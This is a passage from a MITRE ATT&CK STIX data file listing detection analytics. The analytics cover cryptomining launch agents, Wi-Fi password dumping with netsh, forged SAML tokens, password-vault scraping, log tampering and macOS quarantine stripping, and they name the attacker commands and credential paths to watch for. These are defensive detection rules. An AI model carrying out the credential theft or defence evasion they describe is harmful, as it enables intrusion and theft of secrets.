            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--8cbeecbb-429f-4f30-9f42-266aaa7b2c0f",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0267#AN0743",
                    "external_id": "AN0743"
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            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0743",
            "description": "Background launch agents/daemons with high CPU use and network access to external mining services.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "launchctl activity and process creation"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "macos:unifiedlog",
                    "channel": "Persistent outbound traffic to mining domains"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "launchdLabel",
                    "description": "Suspicious or unknown launch agents"
                },
                {
                    "field": "TrafficVolumeThreshold",
                    "description": "Outbound bandwidth usage thresholds"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--8cd02c43-f3f5-4623-a816-cefe1f586288",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0474#AN1307",
                    "external_id": "AN1307"
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            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1307",
            "description": "macOS environmental keying behavioral chain: (1) System information discovery through native utilities (system_profiler, sw_vers, hostname, dscl) and Security framework queries, (2) Hardware and software enumeration including serial numbers, installed applications, and system versions, (3) Network configuration assessment (networksetup, scutil) and wireless network discovery, (4) Keychain and security context validation, (5) Unified Logs correlation with cryptographic framework usage (CommonCrypto, Security.framework), (6) Application bundle execution following environmental validation",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "process execution events for discovery utilities (system_profiler, sw_vers, dscl, networksetup) with command-line parameter analysis"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "macos:unifiedlog",
                    "channel": "Security framework operations including keychain access, cryptographic operations, and certificate validation"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "fs:fsevents",
                    "channel": "file system events indicating access to system configuration files and environmental information sources"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "SystemProfilerDataTypes",
                    "description": "Specific system_profiler data types that adversaries commonly target (SPHardwareDataType, SPSoftwareDataType, SPNetworkDataType) - customize based on threat intelligence"
                },
                {
                    "field": "SecurityFrameworkOperationPatterns",
                    "description": "Security.framework and CommonCrypto API usage patterns indicating cryptographic operations for environmental keying"
                },
                {
                    "field": "UnifiedLogRetentionWindow",
                    "description": "Time window for correlating discovery activities with subsequent cryptographic operations - balance between detection coverage and log volume"
                },
                {
                    "field": "ApplicationBundleValidationPaths",
                    "description": "Specific application bundle paths and identifiers that might be subject to environmental validation"
                },
                {
                    "field": "NetworkConfigurationIdentifiers",
                    "description": "Organization-specific network configurations, WiFi SSIDs, and network services that adversaries might validate against"
                },
                {
                    "field": "MacOSVersionBaseline",
                    "description": "Expected macOS versions and configurations in environment to identify version-specific environmental targeting"
                },
                {
                    "field": "FSEventsFilteringCriteria",
                    "description": "File system event filtering criteria to focus on security-relevant file access patterns while managing event volume"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--8cd6ae3d-7f14-42bf-9aff-870209fc333f",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0214#AN0601",
                    "external_id": "AN0601"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0601",
            "description": "Detection of Mach-O binaries or AppleScripts that contain nested, encoded, or run-only embedded payloads dropped at runtime.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "macos:unifiedlog",
                    "channel": "logd:file write"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:endpointsecurity",
                    "channel": "ES_EVENT_TYPE_NOTIFY_EXEC"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "macos:osquery",
                    "channel": "mach_o_info, file_metadata"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ScriptFormatType",
                    "description": "Run-only AppleScripts or signed scripting payloads may require scoped detection"
                },
                {
                    "field": "DroppedBinaryCount",
                    "description": "Threshold on number of binaries created by the parent payload"
                },
                {
                    "field": "ParentProcessName",
                    "description": "Allows focusing on suspicious interpreter or staging tools"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--8d43ac43-de80-4815-b992-6f49519ed340",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "url": "https://attack.mitre.org/detectionstrategies/DET0074#AN0201",
                    "external_id": "AN0201"
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            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0201",
            "description": "Anomalous access to cloud web applications using session tokens without corresponding MFA/credential validation, often from unusual locations or device fingerprints.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "IaaS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428",
                    "name": "AWS:CloudTrail",
                    "channel": "SessionToken used without preceding MFA or login event"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
                    "name": "AWS:CloudTrail",
                    "channel": "ConsoleLogin"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "How far back to check for legitimate MFA or login events before token usage"
                },
                {
                    "field": "IPGeolocationDistance",
                    "description": "Threshold for flagging geographically impossible logins"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--8d58973f-7fd7-435e-86b8-58f9b399f89f",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0464#AN1280",
                    "external_id": "AN1280"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 1280",
            "description": "Enumeration of saved Wi-Fi profiles and cleartext password retrieval using `netsh wlan` or API-level access to `wlanAPI.dll`.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "WinEventLog:PowerShell",
                    "channel": "EventCode=4103, 4104, 4105, 4106"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "WiFiProfileName",
                    "description": "Filter by known saved SSID names to reduce benign usage of network diagnostics"
                },
                {
                    "field": "ParentProcess",
                    "description": "Anomalous parent-child relationships may be used to spot abuse (e.g., Office \u2192 netsh)"
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlate profile enumeration and password dumping within short timeframe (e.g., 60 seconds)"
                }
            ]
        },
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                "IaaS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
                    "name": "AWS:CloudTrail",
                    "channel": "SendSSHPublicKey, StartSession (SSM), EC2InstanceConnect"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "Correlates cloud login to host activity within a reasonable time span (e.g., < 60 seconds)"
                },
                {
                    "field": "CloudAuthMethod",
                    "description": "Filters based on access vector: SSH key, SSM session, or Console connect"
                },
                {
                    "field": "SessionOriginRegion",
                    "description": "Identifies sessions from out-of-region or untrusted networks"
                },
                {
                    "field": "TargetInstanceTags",
                    "description": "Filters sensitive systems or production assets for alert tuning"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--9274294a-dfc3-4084-b228-dfb36448f077",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0239#AN0669",
                    "external_id": "AN0669"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0669",
            "description": "Detection of tampering with Apple's Unified Logging framework or modification of system log forwarding settings. Defender observes execution of logd-related commands or defaults write to logging preferences.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "macos:unifiedlog",
                    "channel": "defaults write com.apple.system.logging or logd manipulation"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "AllowedLogConfigs",
                    "description": "Baseline of approved logging preference modifications to reduce noise."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--92d182e9-6723-43e4-9eab-f00aa6d53153",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0010#AN0025",
                    "external_id": "AN0025"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0025",
            "description": "Detects inotify or auditd configuration changes that monitor system files coupled with execution of script interpreters or binaries by cron or systemd timers.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "auditd:SYSCALL",
                    "channel": "Inotify watch creation or auditctl changes on /etc/cron* or /lib/systemd/system/"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3",
                    "name": "linux:syslog",
                    "channel": "Execution of non-standard script or binary by cron"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "auditd:SYSCALL",
                    "channel": "Execution of script interpreters by systemd timer (ExecStart)"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ExecutablePathRegex",
                    "description": "Regex defining suspicious binary/script paths triggered by cron/systemd"
                },
                {
                    "field": "WatchTargetPaths",
                    "description": "Paths monitored by auditd/inotify for suspicious event registration"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--9301fed2-1abe-4250-85b0-7794431e9034",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0851#AN1983",
                    "external_id": "AN1983"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1983",
            "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).\nConsider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "Network Traffic",
                    "channel": "None"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--8fb2f315-1aca-4cef-ae0d-8105e1f95985",
                    "name": "Persona",
                    "channel": "None"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--9311924d-7d8f-489a-8105-058a60f572fc",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0411#AN1148",
                    "external_id": "AN1148"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 1148",
            "description": "Monitor DNS queries, proxy logs, and user-agent strings for anomalous patterns associated with adversary attempts to hide infrastructure. Defenders may observe DNS resolutions to short-lived domains, abnormal WHOIS registration data, or filtering of known defensive/responder IP addresses.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=5156, 5157"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--ff9b665a-598b-4bcb-8b2a-a87566aa1256",
                    "name": "dns:query",
                    "channel": "Excessive lookups for domains with suspicious WHOIS or short TTL values"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "SuspiciousDomains",
                    "description": "List of domains registered with privacy-protected or suspicious WHOIS metadata."
                },
                {
                    "field": "ResponderIPs",
                    "description": "Known incident response or scanning infrastructure IP ranges."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--93918e31-51b1-4d85-8b16-590871c2cc1f",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0088#AN0241",
                    "external_id": "AN0241"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0241",
            "description": "Defender observes use of CLI tools (`find`, `grep`, `ls`, `dpkg`, `rpm`, `systemctl`, `ps aux`) to discover backup agents or config files (e.g., rsnapshot, duplicity, veeam). This often includes command lines that recursively search `/etc/`, `/opt/`, or `/var/` directories for keywords like `backup`, and parent-child relationships involving shell or Python scripts.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Execution of discovery commands targeting backup binaries, processes, or config paths"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "auditd:PATH",
                    "channel": "Read access to known backup software configuration files (e.g., /etc/rsnapshot.conf, /opt/veeam/config.ini)"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "BackupConfigPaths",
                    "description": "Directory paths and filenames related to backup agents"
                },
                {
                    "field": "ToolchainScope",
                    "description": "Shells, interpreters, or binaries used by attacker scripts for discovery"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--93c97a07-283e-46c5-b2ac-560db0382ea9",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0148#AN0421",
                    "external_id": "AN0421"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0421",
            "description": "Forged SAML tokens can appear as SaaS logins where authentication succeeded without MFA, or where tokens contain claims inconsistent with the user profile. Look for concurrent sessions across different geographies with the same SAML assertion ID.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "SaaS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428",
                    "name": "saas:access",
                    "channel": "SAML token accepted without preceding login challenge"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b",
                    "name": "m365:unified",
                    "channel": "Abnormal user claims or unexpected elevated role assignment in SAML assertion"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "GeoVelocityThreshold",
                    "description": "Triggers when same SAML token used in different geographies within short timeframe."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--93fd8592-d8ce-4b5e-b095-71cd66062298",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0597#AN1642",
                    "external_id": "AN1642"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1642",
            "description": "Suspicious access to password manager vaults (KeePassXC, gnome-keyring, pass) via memory scraping or unauthorized file reads. Detects unusual command execution involving gdb/strace attached to password manager processes.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "auditd:SYSCALL",
                    "channel": "open/read on ~/.local/share/keepassxc/* OR ~/.password-store/*"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "auditd:SYSCALL",
                    "channel": "ptrace"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "VaultFilePaths",
                    "description": "Linux paths to monitor for vault database files (KeePassXC, pass, gnome-keyring)."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation interval to detect multiple suspicious access events."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--9418d7e2-666f-4f73-9ac7-96b32005e9b7",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0010#AN0024",
                    "external_id": "AN0024"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0024",
            "description": "Correlates unexpected modifications to WMI event filters, scheduled task triggers, or registry autorun keys with subsequent execution of non-standard binaries by SYSTEM-level processes.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4698"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--05645013-2fed-4066-8bdc-626b2e201dd4",
                    "name": "WinEventLog:WMI",
                    "channel": "Creation or modification of __EventFilter, __FilterToConsumerBinding, or CommandLineEventConsumer"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4657"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "UserContext",
                    "description": "Filters triggering on SYSTEM or LOCAL SERVICE vs. user-initiated triggers"
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlates trigger definition and execution timing (e.g., within 5 minutes)"
                },
                {
                    "field": "PathAnomalyThreshold",
                    "description": "Process or binary path deviation scoring for execution anomalies"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--94340be7-068e-446a-bca2-d414b66912fc",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0452#AN1248",
                    "external_id": "AN1248"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1248",
            "description": "Detection monitors modification of code signing attributes, Gatekeeper/quarantine flags, and insertion of new trust certificates via security add-trusted-cert. Identifies adversary use of xattr to strip quarantine flags from downloaded binaries. Correlates with abnormal module loads bypassing SIP protections.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "macos:unifiedlog",
                    "channel": "New certificate trust settings added by unexpected process"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "macos:unifiedlog",
                    "channel": "xattr -d com.apple.quarantine or similar removal commands"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:osquery",
                    "channel": "Unsigned or ad-hoc signed process executions in user contexts"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "QuarantineBypassAllowList",
                    "description": "List of enterprise apps where quarantine flag removal is expected"
                },
                {
                    "field": "CertificateAuthorityList",
                    "description": "Baseline trusted root and intermediate CAs for comparison"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--945f8192-6f4f-4183-b457-40b5c6d9b4ca",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0239#AN0667",
                    "external_id": "AN0667"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0667",
            "description": "Correlates registry modifications to EventLog or WMI Autologger keys, suspicious use of Set-EtwTraceProvider, and Sysmon configuration changes. Defender sees interruption or redirection of ETW and log event collection.",
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            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=16"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4657"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "MonitoredETWProviders",
                    "description": "List of ETW providers to baseline and monitor for unexpected removal."
                },
                {
                    "field": "AuthorizedConfigChanges",
                    "description": "Whitelist of expected admin actions modifying Sysmon or ETW configurations."
                }
            ],
            "x_mitre_deprecated": false
        },
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0057#AN0156",
